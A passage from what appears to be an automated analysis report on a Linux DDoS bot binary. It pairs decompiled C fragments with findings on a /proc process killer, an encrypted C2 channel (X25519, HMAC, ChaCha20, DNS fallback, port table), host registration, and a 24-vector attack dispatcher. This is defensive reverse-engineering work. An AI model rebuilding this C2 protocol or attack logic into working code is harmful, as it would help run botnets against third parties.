  iVar1 = thunk_FUN_0040cf7c(local_c8);
  FUN_00414505(param_1,local_c8 + iVar1,10);
  iVar1 = thunk_FUN_0040cf7c(local_78);
  FUN_00414505(param_2,local_78 + iVar1,10);
  FUN_0040d0a8(local_c8,param_3);
  FUN_0040d0a8(local_78,param_3);
  uVar2 = FUN_00414768(local_c8);
  if ((int)uVar2 != 0) {
    iVar1 = FUN_00417e93(local_c8,local_78,0,0x1000,0);
    uVar2 = (ulong)(iVar1 == 0);
  }
  return uVar2;
}

Full function, callers and assembly →

finds a donor process in /proc by store… · decompiled C, first 30 lines

undefined8 FUN_00414879(int param_1)

{
  bool bVar1;
  int iVar2;
  int iVar3;
  undefined8 uVar4;
  long lVar5;
  ulong uVar6;
  long lVar7;
  long lVar8;
  char *pcVar9;
  int iVar10;
  undefined4 *puVar11;
  int local_10c;
  undefined1 local_108 [16];
  undefined1 local_f8 [64];
  undefined1 local_b8 [64];
  char local_78 [72];
  
  iVar2 = FUN_0041dc31();
  uVar4 = 0;
  if (((iVar2 == 0) && (uVar4 = 0xffffffff, DAT_0062e6f0 != 0)) &&
     (*(long *)(DAT_0062e6f0 + 0xce0) != 0)) {
    local_108[0] = 0;
    FUN_00414505(param_1,local_108,10);
    local_b8[0] = 0;
    thunk_FUN_0040d152(local_b8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
    FUN_0040d0a8(local_b8,local_108);
/* … 136 more lines */

Full function, callers and assembly →

E25

decoded by the analysis·analysis output

out/L0/strtable/strings.json

Kills other processes found by walking /proc (killer workers) and its own tracked children on command

T1489file Originalreachability reachable from the entry pointnote match names are store identifiers

functions: 0x415fc60x40cb5a0x41720d0x400cd7

Show the evidence · 3 items: E6, E19, E25

read from the file·function

0x400f7d

command parser: 4-byte duration, 1-byte vector id; id 0xff with zero duration kills tracked child pids (0x400cd7), 0xfe runs the self-update (0x40c42a); else a target count with 5-byte ip+prefix records and a length-prefixed option list, handed to 0x400d2b

parses an attack command · decompiled C, first 30 lines

void FUN_00400f7d(long param_1,uint param_2)

{
  char cVar1;
  byte bVar2;
  undefined1 uVar3;
  int iVar4;
  undefined4 *puVar5;
  byte *pbVar6;
  undefined4 *puVar7;
  long lVar8;
  byte *pbVar9;
  ulong uVar10;
  long lVar11;
  int iVar12;
  byte unaff_R12B;
  uint uVar13;
  byte bVar14;
  undefined4 local_3c [3];
  
  bVar14 = 0;
  if (param_2 < 4) {
    return;
  }
  FUN_0040d13d(local_3c,param_1,4);
  iVar4 = FUN_0041b0e2(local_3c[0]);
  if (param_2 == 4) {
    return;
  }
/* … 90 more lines */

Full function, callers and assembly →

kills every tracked child pid except… · decompiled C, first 30 lines

undefined8 FUN_00400cd7(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  
  iVar2 = FUN_0041dc97();
  iVar3 = FUN_004157a1();
  for (lVar4 = 0; (int)lVar4 < DAT_0062fe28; lVar4 = lVar4 + 1) {
    iVar1 = (&DAT_0062fe40)[lVar4];
    if (((0 < iVar1) && (iVar2 != iVar1)) && ((iVar3 < 1 || (iVar3 != iVar1)))) {
      FUN_0041c083(iVar1,9);
    }
  }
  return param_3;
}

Full function, callers and assembly →

E19

read from the file·analysis output

out/L0/fn_syscalls.json

per-function syscall profile from capstone over every syscall site (out/L0/syscalls.json, 103 sites): process killer candidates 0x415fc6, 0x40cb5a, 0x41720d walk /proc (getdents64, readlink, kill); command exec 0x40d2bf (pipe, fork, execve, read back output); no import table - static musl-style libc in 0x4175f0-0x425000

/proc walker that kills matching… · decompiled C, first 30 lines

void FUN_00415fc6(undefined8 param_1)

{
  char cVar1;
  uint uVar2;
  int iVar3;
  long lVar4;
  long lVar5;
  int iVar6;
  undefined1 auStack_5038 [4096];
  uint auStack_4038 [4098];
  
  iVar6 = 0;
  FUN_00417843();
  while (lVar4 = FUN_004177dd(param_1), lVar4 != 0) {
    if ((byte)(*(char *)(lVar4 + 0x13) - 0x30U) < 10) {
      lVar4 = lVar4 + 0x13;
      uVar2 = FUN_0040d07f(lVar4);
      if ((1 < (int)uVar2) &&
         ((0x3ffffe < uVar2 - 1 ||
          (((byte)(&DAT_00639e60)[(int)uVar2 >> 3] >> (uVar2 & 7) & 1) == 0)))) {
        cVar1 = FUN_004157e1(uVar2);
        if ((((cVar1 == '\0') &&
             ((((DAT_0062ba30 != uVar2 || ((int)DAT_0062ba30 < 1)) &&
               ((DAT_0062ba34 != uVar2 || ((int)DAT_0062ba34 < 1)))) &&
              (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)))) &&
            ((((((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
                 (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)) ||
                (cVar1 = FUN_00415435(auStack_5038), cVar1 != '\0')) ||
/* … 49 more lines */

Full function, callers and assembly →

/proc walker with readlink and kill · decompiled C, first 30 lines

int FUN_0040cb5a(uint param_1,undefined8 param_2)

{
  byte bVar1;
  bool bVar2;
  bool bVar3;
  char cVar4;
  undefined2 uVar5;
  int iVar6;
  undefined4 uVar7;
  int iVar8;
  int iVar9;
  ulong uVar10;
  long lVar11;
  long lVar12;
  long lVar13;
  ulong uVar14;
  undefined4 *puVar15;
  long lVar16;
  byte *pbVar17;
  undefined8 local_2259;
  undefined8 uStack_2251;
  undefined2 local_2249;
  undefined2 local_2247;
  undefined1 local_2245;
  byte local_2239 [513];
  undefined8 local_2038;
  undefined8 uStack_2030;
  undefined4 local_2028 [1020];
/* … 169 more lines */

Full function, callers and assembly →

/proc walker with readlink · decompiled C, first 30 lines

void FUN_0041720d(undefined8 param_1)

{
  char cVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  char *pcVar5;
  long lVar6;
  char local_338 [256];
  undefined1 local_238 [256];
  undefined1 local_138 [264];
  
LAB_00417221:
  do {
    do {
      lVar4 = FUN_004177dd(param_1);
      if (lVar4 == 0) {
        return;
      }
      iVar2 = FUN_0040d09b((int)*(char *)(lVar4 + 0x13));
    } while (iVar2 == 0);
    lVar4 = lVar4 + 0x13;
    iVar2 = FUN_0040d07f(lVar4);
  } while ((((iVar2 < 1) || (cVar1 = FUN_00415980(iVar2), cVar1 != '\0')) ||
           (iVar3 = FUN_0041dc97(), iVar3 == iVar2)) || (iVar3 = FUN_0041dc9f(), iVar3 == iVar2));
  thunk_FUN_0040d152(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  FUN_0040d01d(local_138,lVar4);
  FUN_0040d01d(local_138,*(undefined8 *)(DAT_0062e6f0 + 0x10a0));
/* … 37 more lines */

Full function, callers and assembly →

E25

decoded by the analysis·analysis output

out/L0/strtable/strings.json

C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)

T1095 T1573.002 T1071.004file Originalreachability reachable from the entry point

functions: 0x4001d00x4131890x413aaa0x4141930x411a320x4113610x412ad80x4120100x411ca10x41215b0x4120f1

Show the evidence · 10 items: E1, E15, E16, E17, E18, E24, E29, E30, E31, E32

read from the file·function

0x4001d0

main · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004001d0(int param_1,long param_2)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  uint uVar4;
  uint uVar5;
  long *plVar6;
  long lVar7;
  ulong uVar8;
  int *piVar9;
  int iVar10;
  int iVar11;
  undefined1 *puVar12;
  undefined1 *puVar13;
  undefined8 uVar14;
  ulong *puVar15;
  bool bVar16;
  byte bVar17;
  int local_994;
  undefined8 local_990;
  undefined8 local_988;
  ulong local_980 [2];
  undefined1 local_970 [32];
  ulong local_950 [16];
  ulong local_8d0 [16];
/* … 342 more lines */

Full function, callers and assembly →

E15

read from the file·function set

["0x411ca1", "0x41215b", "0x4120f1", "0x412010"]

framed C2 channel: 21-byte headers with big-endian length and sequence number, two session modes (flags 0x62e700/0x62e704) with key-exchange state; in the plain mode received bytes are XORed with byte 0xed (0x40d665 called with 0xdeaffed) before parsing

C2 session handshake state step · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411ca1(ulong param_1)

{
  char cVar1;
  int *piVar2;
  long lVar3;
  undefined4 local_f8;
  undefined4 uStack_f4;
  undefined4 uStack_f0;
  undefined4 uStack_ec;
  undefined4 local_e8;
  undefined4 uStack_e4;
  undefined4 uStack_e0;
  undefined4 uStack_dc;
  undefined1 local_d8 [32];
  undefined1 local_b8 [32];
  undefined4 local_98;
  undefined4 uStack_94;
  undefined4 uStack_90;
  undefined4 uStack_8c;
  undefined4 local_88;
  undefined4 uStack_84;
  undefined4 uStack_80;
  undefined4 uStack_7c;
  undefined4 local_78;
  undefined4 uStack_74;
  undefined4 uStack_70;
/* … 120 more lines */

Full function, callers and assembly →

receives and de-frames C2 messages in… · decompiled C, first 30 lines

int FUN_0041215b(undefined8 param_1,undefined8 param_2,ulong param_3,int *param_4)

{
  char cVar1;
  char cVar2;
  int iVar3;
  long lVar4;
  int *piVar5;
  ulong uVar6;
  ulong uVar7;
  undefined8 uVar8;
  ulong uVar9;
  
  if (DAT_0062e700 != '\x01') {
    return -1;
  }
  if ((param_4 != (int *)0x0) && (DAT_0062e7a8 < 0x800)) {
    lVar4 = FUN_0041b0ec(param_1,&DAT_0062e7aa + DAT_0062e7a8,0x800 - (ulong)DAT_0062e7a8,0x4040);
    if (lVar4 < 0) {
      piVar5 = (int *)FUN_00417c3c();
      if (*piVar5 == 0xb) {
LAB_004121d0:
        uVar9 = 0;
        while (uVar9 + 0x15 <= (ulong)DAT_0062e7a8) {
          uVar8 = 5;
          cVar1 = (&DAT_0062e7aa)[uVar9];
          if (DAT_0062e701 == '\0') {
            uVar8 = 2;
          }
/* … 46 more lines */

Full function, callers and assembly →

sends a framed C2 message in session… · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004120f1(undefined4 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  undefined1 auStack_818 [2056];
  
  if (DAT_0062e701 == '\0') {
    iVar1 = FUN_00411f38(auStack_818,0x800,param_2,param_3,&DAT_0062e751);
  }
  else {
    iVar1 = FUN_004129d6();
  }
  if ((-1 < iVar1) && (iVar1 = FUN_0041174f(param_1,auStack_818,(long)iVar1), iVar1 == 0)) {
    _DAT_0062e798 = _DAT_0062e798 + 1;
    return 1;
  }
  return 0;
}

Full function, callers and assembly →

checks header type, length and sequence… · decompiled C, first 30 lines

ulong FUN_00412010(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  char cVar2;
  int iVar3;
  undefined8 extraout_RDX;
  ulong uVar4;
  ulong local_58;
  undefined4 local_4c;
  char local_48;
  undefined1 local_44 [20];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar2 = FUN_004122c9(2), cVar1 == cVar2)) {
    uVar4 = (ulong)(ushort)(*(ushort *)(param_3 + 1) << 8 | *(ushort *)(param_3 + 1) >> 8);
    if ((*param_6 == (ulong)*(ushort *)(param_3 + 3)) && (uVar4 + 0x15 <= param_4)) {
      FUN_0041149d(local_44,(ulong)*(ushort *)(param_3 + 3),extraout_RDX,uVar4 + 0x10);
      local_4c = *(undefined4 *)param_3;
      local_48 = param_3[4];
      iVar3 = FUN_00411680(param_1,&local_58,param_3 + 5);
      if ((iVar3 == 0) && ((local_58 == uVar4 && (local_58 <= param_2)))) {
        *param_6 = *param_6 + 1;
        return local_58;
      }
    }
  }
  return 0xffffffff;
/* … 2 more lines */

Full function, callers and assembly →

E16

reported by a tool·function set

["0x411361", "0x411a32", "0x412385", "0x411824", "0x412677"]

capa: Curve25519 (matches at 0x411361, 0x411a92, 0x412488, in functions 0x411361, 0x411a32, 0x412385) and HMAC (0x411824, 0x412677) in the C2 channel code range 0x410c5b-0x412700

derives the C2 peer X25519 public key… · decompiled C, first 30 lines

void FUN_00411361(byte *param_1,undefined8 param_2)

{
  undefined1 auStack_38 [32];
  
  FUN_004122e0(auStack_38);
  FUN_00411241(auStack_38,0x20,param_1);
  FUN_00412374(auStack_38,0x20);
  *param_1 = *param_1 & 0xf8;
  param_1[0x1f] = param_1[0x1f] & 0x7f | 0x40;
  FUN_00411056(param_2,param_1);
  return;
}

Full function, callers and assembly →

C2 session hello · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411a32(long param_1,ulong param_2,ulong param_3,long param_4,long param_5)

{
  undefined1 *puVar1;
  byte *pbVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined1 uVar7;
  long lVar8;
  byte bVar9;
  int iVar10;
  undefined4 *puVar11;
  undefined8 *puVar12;
  byte bVar13;
  long local_d0;
  undefined8 local_c4;
  undefined4 local_bc;
  undefined1 local_b8 [32];
  undefined1 local_98 [32];
  undefined4 local_78 [8];
  undefined1 local_58 [40];
  
  bVar13 = 0;
  if (param_1 == 0) {
    return -1;
/* … 86 more lines */

Full function, callers and assembly →

unknown · decompiled C, first 30 lines

void unknown(void)

{
  undefined *puVar1;
  undefined **ppuVar2;
  ulong uVar3;
  byte bVar4;
  char cVar5;
  long lVar6;
  long lVar7;
  byte bVar8;
  undefined **ppuVar9;
  uint local_78;
  undefined4 uStack_74;
  undefined4 uStack_70;
  undefined4 uStack_6c;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  uint uStack_5c;
  uint local_58;
  undefined4 uStack_54;
  undefined4 uStack_50;
  undefined4 uStack_4c;
  undefined4 local_48;
  undefined4 uStack_44;
  undefined4 uStack_40;
  uint uStack_3c;
  byte local_38 [32];
/* … 60 more lines */

Full function, callers and assembly →

unknown · decompiled C, first 30 lines

undefined8
unknown(undefined4 *param_1,undefined8 param_2,undefined1 *param_3,ulong param_4,long param_5)

{
  long lVar1;
  ulong uVar2;
  byte *pbVar3;
  undefined4 *puVar4;
  byte bVar5;
  undefined4 local_238;
  undefined4 uStack_234;
  undefined4 uStack_230;
  undefined4 uStack_22c;
  undefined4 local_228;
  undefined4 uStack_224;
  undefined4 uStack_220;
  undefined4 uStack_21c;
  byte local_218 [64];
  byte local_1d8 [64];
  undefined4 local_198;
  undefined4 uStack_194;
  undefined4 uStack_190;
  undefined4 uStack_18c;
  undefined4 local_188;
  undefined4 uStack_184;
  undefined4 uStack_180;
  undefined4 uStack_17c;
  undefined4 local_178 [8];
  undefined4 local_158 [16];
/* … 65 more lines */

Full function, callers and assembly →

unknown · decompiled C, first 30 lines

void unknown(undefined4 *param_1,undefined8 param_2,undefined1 *param_3,long param_4,
                 undefined8 *param_5)

{
  ulong uVar1;
  long lVar2;
  byte *pbVar3;
  undefined4 *puVar4;
  undefined4 *puVar5;
  byte bVar6;
  undefined4 local_248;
  undefined4 uStack_244;
  undefined4 uStack_240;
  undefined4 uStack_23c;
  undefined4 local_238;
  undefined4 uStack_234;
  undefined4 uStack_230;
  undefined4 uStack_22c;
  byte local_228 [64];
  byte local_1e8 [64];
  undefined4 local_1a8;
  undefined4 uStack_1a4;
  undefined4 uStack_1a0;
  undefined4 uStack_19c;
  undefined4 local_198;
  undefined4 uStack_194;
  undefined4 uStack_190;
  undefined4 uStack_18c;
  undefined4 local_188 [8];
/* … 68 more lines */

Full function, callers and assembly →

E17

read from the file·function

0x414193

C2 resolver: dotted-quad parse, else getaddrinfo, else own DNS queries to an 18-entry resolver table at 0x428860

resolves the C2 name · decompiled C, first 30 lines

char * FUN_00414193(char *param_1)

{
  undefined4 *puVar1;
  uint uVar2;
  long lVar3;
  char cVar4;
  int iVar5;
  undefined4 uVar6;
  char *pcVar7;
  long lVar8;
  long lVar9;
  uint local_6c;
  uint local_68;
  uint local_64;
  uint local_60;
  undefined4 uStack_5c;
  undefined4 local_58;
  undefined8 local_54;
  
  if (((param_1 == (char *)0x0) || (*param_1 == '\0')) ||
     (pcVar7 = (char *)FUN_00417f10(1,0x10), pcVar7 == (char *)0x0)) {
    return (char *)0x0;
  }
  iVar5 = FUN_0041c853(param_1,"%u.%u.%u.%u",&local_6c,&local_68,&local_64,&local_60);
  if (((iVar5 == 4) && (local_6c < 0x100)) &&
     ((local_68 < 0x100 && ((local_64 < 0x100 && (local_60 < 0x100)))))) {
    local_58 = FUN_00419b08(local_6c << 0x18 | local_68 << 0x10 | local_64 << 8 | local_60);
  }
/* … 56 more lines */

Full function, callers and assembly →

E18

read from the file·analysis output

out/L0/resolver_table.json

the 18 resolver addresses at VA 0x428860 (file offset 0x28860), 18 distinct

E24

decoded by the analysis·analysis output

out/L0/store_hosts.json

the 24 hostname-class store entries with slot ids: slots 0x0-0x7 share one source string, slots 0x8-0x10 and 0x13f-0x143 are further hosts, slot 0x113 is the host the self-update routine 0x40c42a reads (store offset 0x1130)

E29

read from the file·function set

["0x413189", "0x413aaa"]

C2 selection: 0x413189 walks store slots 0-7 as a ring from index 0x62efd8, resolves each non-empty one through 0x4143a1 and collects up to 32 addresses at 0x62efe8; 0x413aaa takes a random entry of a 14-entry u16 port table at 0x4287e0 and htons it

selects the C2 host from store slots… · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_00413189(char param_1)

{
  char *pcVar1;
  byte bVar2;
  int iVar3;
  byte *pbVar4;
  uint uVar5;
  int iVar6;
  uint uVar7;
  long lVar8;
  long lVar9;
  
  _DAT_0062efe0 = 0;
  DAT_0062efe2 = 0;
  DAT_0062efe4 = 0;
  bVar2 = DAT_0062efd8;
  if (param_1 != '\0') {
    iVar6 = 1;
    do {
      pcVar1 = *(char **)(DAT_0062e6f0 + (ulong)((uint)DAT_0062efd8 + iVar6 & 7) * 0x10);
      if ((pcVar1 != (char *)0x0) &&
         (bVar2 = (byte)((uint)DAT_0062efd8 + iVar6) & 7, *pcVar1 != '\0')) break;
      iVar6 = iVar6 + 1;
      bVar2 = DAT_0062efd8;
    } while (iVar6 != 9);
  }
/* … 38 more lines */

Full function, callers and assembly →

picks a random C2 port from the… · decompiled C, first 30 lines

void FUN_00413aaa(void)

{
  uint uVar1;
  long lVar2;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined4 local_24 [9];
  
  puVar3 = &DAT_004287e0;
  puVar4 = local_24;
  for (lVar2 = 7; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar4 = *puVar3;
    puVar3 = puVar3 + 1;
    puVar4 = puVar4 + 1;
  }
  uVar1 = FUN_0040caad();
  FUN_00419b0d(*(undefined2 *)((long)local_24 + ((ulong)uVar1 % 0xe) * 2));
  return;
}

Full function, callers and assembly →

E30

read from the file·address range

0x4287e0

14 non-zero distinct u16 C2 ports (host order; values in out/L0/port_table.json)

picks a random C2 port from the… · decompiled C, first 30 lines

void FUN_00413aaa(void)

{
  uint uVar1;
  long lVar2;
  undefined4 *puVar3;
  undefined4 *puVar4;
  undefined4 local_24 [9];
  
  puVar3 = &DAT_004287e0;
  puVar4 = local_24;
  for (lVar2 = 7; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar4 = *puVar3;
    puVar3 = puVar3 + 1;
    puVar4 = puVar4 + 1;
  }
  uVar1 = FUN_0040caad();
  FUN_00419b0d(*(undefined2 *)((long)local_24 + ((ulong)uVar1 % 0xe) * 2));
  return;
}

Full function, callers and assembly →

E31

read from the file·function set

["0x411a32", "0x411361"]

C2 session handshake (called from the registration 0x4132d0): random 32-byte X25519 ephemeral key clamped (&0xf8, &0x7f|0x40) and its public key via 0x411056; the peer public key is derived by 0x411361 from 32 embedded bytes (0x4122e0) hashed by 0x411241 and clamped; shared secret 0x410c5b; key expansion 0x4113bd with an 11-byte store label (slot 0x196); the hello frame is type byte, 32-byte ephemeral public key, 12-byte zero nonce, then the registration payload encrypted by 0x41159e; sets session flag 0x62e704

builds the registration record with… · decompiled C, first 30 lines

void FUN_004132d0(undefined4 param_1,undefined1 *param_2)

{
  byte bVar1;
  char cVar2;
  undefined2 uVar3;
  int iVar4;
  int iVar5;
  long lVar6;
  long lVar7;
  char *pcVar8;
  char *pcVar9;
  long lVar10;
  long lVar11;
  ulong uVar12;
  ulong uVar13;
  undefined1 *puVar14;
  undefined1 *puVar15;
  undefined1 *puVar16;
  ulong *puVar17;
  ulong uVar18;
  ulong uVar19;
  byte bVar20;
  undefined1 local_5b8 [63];
  undefined1 local_579;
  byte local_578;
  undefined1 local_577 [255];
  ulong local_478 [2];
  byte local_465;
/* … 191 more lines */

Full function, callers and assembly →

derives the C2 peer X25519 public key… · decompiled C, first 30 lines

void FUN_00411361(byte *param_1,undefined8 param_2)

{
  undefined1 auStack_38 [32];
  
  FUN_004122e0(auStack_38);
  FUN_00411241(auStack_38,0x20,param_1);
  FUN_00412374(auStack_38,0x20);
  *param_1 = *param_1 & 0xf8;
  param_1[0x1f] = param_1[0x1f] & 0x7f | 0x40;
  FUN_00411056(param_2,param_1);
  return;
}

Full function, callers and assembly →

C2 session hello · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411a32(long param_1,ulong param_2,ulong param_3,long param_4,long param_5)

{
  undefined1 *puVar1;
  byte *pbVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined1 uVar7;
  long lVar8;
  byte bVar9;
  int iVar10;
  undefined4 *puVar11;
  undefined8 *puVar12;
  byte bVar13;
  long local_d0;
  undefined8 local_c4;
  undefined4 local_bc;
  undefined1 local_b8 [32];
  undefined1 local_98 [32];
  undefined4 local_78 [8];
  undefined1 local_58 [40];
  
  bVar13 = 0;
  if (param_1 == 0) {
    return -1;
/* … 86 more lines */

Full function, callers and assembly →

E32

read from the file·function set

["0x412ad8", "0x412010"]

session frame receive: header byte must match 0x4122c9(5) (or (2) in the other mode), big-endian u16 length, u16 sequence equal to the expected counter; 0x412ad8 derives a MAC key with a 6-byte label at 0x4287cc, checks a 16-byte tag with 0x412677, then decrypts with the ChaCha20 routine 0x40d6c6 and increments the counter

chaCha20 stream cipher, used for the… · decompiled C, first 30 lines

void FUN_0040d6c6(long param_1,undefined8 param_2,undefined8 param_3,long param_4,long param_5,
                 ulong param_6)

{
  byte bVar1;
  undefined4 uVar2;
  long lVar3;
  long lVar4;
  undefined8 extraout_RDX;
  long extraout_RDX_00;
  long extraout_RDX_01;
  int *piVar5;
  byte *pbVar6;
  int *piVar7;
  undefined1 *puVar8;
  int *piVar9;
  int iVar10;
  byte bVar11;
  int local_f0 [4];
  undefined1 local_e0 [32];
  int local_c0;
  undefined4 local_bc;
  undefined4 local_b8;
  undefined4 local_b4;
  int local_b0 [16];
  byte local_70 [64];
  
  bVar11 = 0;
  param_6 = param_6 & 0xffffffff;
/* … 73 more lines */

Full function, callers and assembly →

checks header type, length and sequence… · decompiled C, first 30 lines

ulong FUN_00412010(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  char cVar2;
  int iVar3;
  undefined8 extraout_RDX;
  ulong uVar4;
  ulong local_58;
  undefined4 local_4c;
  char local_48;
  undefined1 local_44 [20];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar2 = FUN_004122c9(2), cVar1 == cVar2)) {
    uVar4 = (ulong)(ushort)(*(ushort *)(param_3 + 1) << 8 | *(ushort *)(param_3 + 1) >> 8);
    if ((*param_6 == (ulong)*(ushort *)(param_3 + 3)) && (uVar4 + 0x15 <= param_4)) {
      FUN_0041149d(local_44,(ulong)*(ushort *)(param_3 + 3),extraout_RDX,uVar4 + 0x10);
      local_4c = *(undefined4 *)param_3;
      local_48 = param_3[4];
      iVar3 = FUN_00411680(param_1,&local_58,param_3 + 5);
      if ((iVar3 == 0) && ((local_58 == uVar4 && (local_58 <= param_2)))) {
        *param_6 = *param_6 + 1;
        return local_58;
      }
    }
  }
  return 0xffffffff;
/* … 2 more lines */

Full function, callers and assembly →

verifies a received session frame · decompiled C, first 30 lines

ulong FUN_00412ad8(undefined8 param_1,ulong param_2,char *param_3,ulong param_4,undefined8 param_5,
                  ulong *param_6)

{
  char cVar1;
  ushort uVar2;
  char cVar3;
  ushort uVar4;
  int iVar5;
  ulong uVar6;
  undefined1 local_74 [12];
  undefined1 local_68 [16];
  undefined1 local_58 [40];
  
  if (((0x14 < param_4 && param_6 != (ulong *)0x0) && (param_3 != (char *)0x0)) &&
     (cVar1 = *param_3, cVar3 = FUN_004122c9(5), cVar1 == cVar3)) {
    uVar2 = *(ushort *)(param_3 + 3);
    uVar4 = CONCAT11((char)*(undefined2 *)(param_3 + 1),
                     (char)((ushort)*(undefined2 *)(param_3 + 1) >> 8));
    uVar6 = (ulong)uVar4;
    if (((*param_6 == (ulong)uVar2) && (uVar6 + 0x15 <= param_4)) && (uVar6 <= param_2)) {
      thunk_FUN_004113bd(param_5,0x20,&DAT_004287cc,6,local_58,0x20);
      unknown(local_58,0x20,param_3,uVar6 + 5);
      iVar5 = FUN_004124f0(local_68,param_3 + uVar6 + 5,0x10);
      if (iVar5 != 0) {
        FUN_0041266c(local_74,(ulong)uVar2,local_74,param_3 + 5,param_1);
        FUN_0040d6c6(param_5,1);
        *param_6 = *param_6 + 1;
        return (ulong)uVar4;
/* … 6 more lines */

Full function, callers and assembly →

Registers with system information: CPU count, memory size, uname, euid, local address

T1082 T1016file Originalreachability reachable from the entry point

functions: 0x4132d00x40d3e8

Show the evidence · 2 items: E10, E14

E10

read from the file·function

0x40d3e8

local-address discovery: UDP socket connect to a public resolver address on port 53 then getsockname

local address via UDP connect to a… · decompiled C, first 30 lines

undefined4 FUN_0040d3e8(void)

{
  int iVar1;
  undefined4 *puVar2;
  undefined4 local_2c;
  undefined2 local_28;
  undefined2 local_26;
  undefined4 local_24;
  
  local_2c = 0x10;
  puVar2 = (undefined4 *)FUN_00417c3c();
  *puVar2 = 0;
  iVar1 = FUN_0041bc03(2,2,0);
  local_24 = 0;
  if (iVar1 != -1) {
    local_28 = 2;
    local_24 = FUN_00419b08(0x8080808);
    local_26 = FUN_00419b0d(0x35);
    FUN_00419689(iVar1,&local_28,0x10);
    FUN_00419ac9(iVar1,&local_28,&local_2c);
    FUN_0041db41(iVar1);
  }
  return local_24;
}

Full function, callers and assembly →

E14

read from the file·function

0x4132d0

C2 registration after connect: collects CPU count (store-named proc file, sysconf 0x54 fallback), memory size (sysconf 0x55 x 0x1e), uname, euid and rlimits and sends them with the bot id string

builds the registration record with… · decompiled C, first 30 lines

void FUN_004132d0(undefined4 param_1,undefined1 *param_2)

{
  byte bVar1;
  char cVar2;
  undefined2 uVar3;
  int iVar4;
  int iVar5;
  long lVar6;
  long lVar7;
  char *pcVar8;
  char *pcVar9;
  long lVar10;
  long lVar11;
  ulong uVar12;
  ulong uVar13;
  undefined1 *puVar14;
  undefined1 *puVar15;
  undefined1 *puVar16;
  ulong *puVar17;
  ulong uVar18;
  ulong uVar19;
  byte bVar20;
  undefined1 local_5b8 [63];
  undefined1 local_579;
  byte local_578;
  undefined1 local_577 [255];
  ulong local_478 [2];
  byte local_465;
/* … 191 more lines */

Full function, callers and assembly →

DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set duration

T1498 T1499file Originalreachability reachable from the entry point

functions: 0x400f7d0x400d2b

Show the evidence · 3 items: E6, E7, E8

read from the file·function

0x400f7d

parses an attack command · decompiled C, first 30 lines

void FUN_00400f7d(long param_1,uint param_2)

{
  char cVar1;
  byte bVar2;
  undefined1 uVar3;
  int iVar4;
  undefined4 *puVar5;
  byte *pbVar6;
  undefined4 *puVar7;
  long lVar8;
  byte *pbVar9;
  ulong uVar10;
  long lVar11;
  int iVar12;
  byte unaff_R12B;
  uint uVar13;
  byte bVar14;
  undefined4 local_3c [3];
  
  bVar14 = 0;
  if (param_2 < 4) {
    return;
  }
  FUN_0040d13d(local_3c,param_1,4);
  iVar4 = FUN_0041b0e2(local_3c[0]);
  if (param_2 == 4) {
    return;
  }
/* … 90 more lines */

Full function, callers and assembly →

kills every tracked child pid except… · decompiled C, first 30 lines

undefined8 FUN_00400cd7(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  
  iVar2 = FUN_0041dc97();
  iVar3 = FUN_004157a1();
  for (lVar4 = 0; (int)lVar4 < DAT_0062fe28; lVar4 = lVar4 + 1) {
    iVar1 = (&DAT_0062fe40)[lVar4];
    if (((0 < iVar1) && (iVar2 != iVar1)) && ((iVar3 < 1 || (iVar3 != iVar1)))) {
      FUN_0041c083(iVar1,9);
    }
  }
  return param_3;
}

Full function, callers and assembly →

read from the file·function

0x400d2b

attack start: double fork, the child sleeps for the duration and kills its parent; the worker looks up the vector id in the 16-byte {id, fn} table at 0x62b000 (count at 0x62b180) and calls fn(targets_n, targets, opts_n, opts)

forks the attack worker and calls the… · decompiled C, first 30 lines

void FUN_00400d2b(undefined4 param_1,char param_2,byte param_3,undefined1 *param_4,ulong param_5,
                 long param_6)

{
  undefined1 uVar1;
  int iVar2;
  undefined4 uVar3;
  undefined1 *puVar4;
  long lVar5;
  undefined1 *puVar6;
  long lVar7;
  char *pcVar8;
  uint uVar9;
  undefined1 *puVar10;
  ulong uVar11;
  byte bVar12;
  
  bVar12 = 0;
  param_5 = param_5 & 0xffffffff;
  iVar2 = FUN_0041bdde();
  if (iVar2 == -1) {
    return;
  }
  if (0 < iVar2) {
